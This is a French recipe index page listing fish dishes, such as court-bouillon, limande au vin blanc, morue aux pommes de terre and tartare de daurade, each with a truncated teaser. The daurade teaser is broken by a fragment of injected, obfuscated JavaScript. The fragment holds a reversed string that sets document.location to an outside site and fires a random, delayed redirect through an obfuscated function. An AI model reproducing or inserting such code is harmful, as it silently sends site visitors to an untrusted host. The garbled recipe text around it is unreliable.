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Court-bouillon simple

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Mêmes aromates et assaisonnement que ci-dessus Cuisson au bleu : Court-bouillon au vin ,mais en ...

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Thon aux concombres confits

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Tranchez le thon en fines lamelles, déposez-les dans un plat. Salez, poivrez, recouvrez d’huile d’olive ...

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Limande au vin blanc

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Enlevez la peau de la limande en incisant à la queue. Saisissez la peau avec ...

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Les limandes frites

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Le temps de cuisson des limandes est de 10 minutes environ dans une friture chaude ...

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Morue aux pommes de terre et au cerfeuil

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Si la morue est trop salée il est préférable de la faire tremper dans de ...

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Tartare de daurade vinaigrette vanillée

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Ébouillantez la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate quelques secondes, pelez, épépinez, et coupez-la ...

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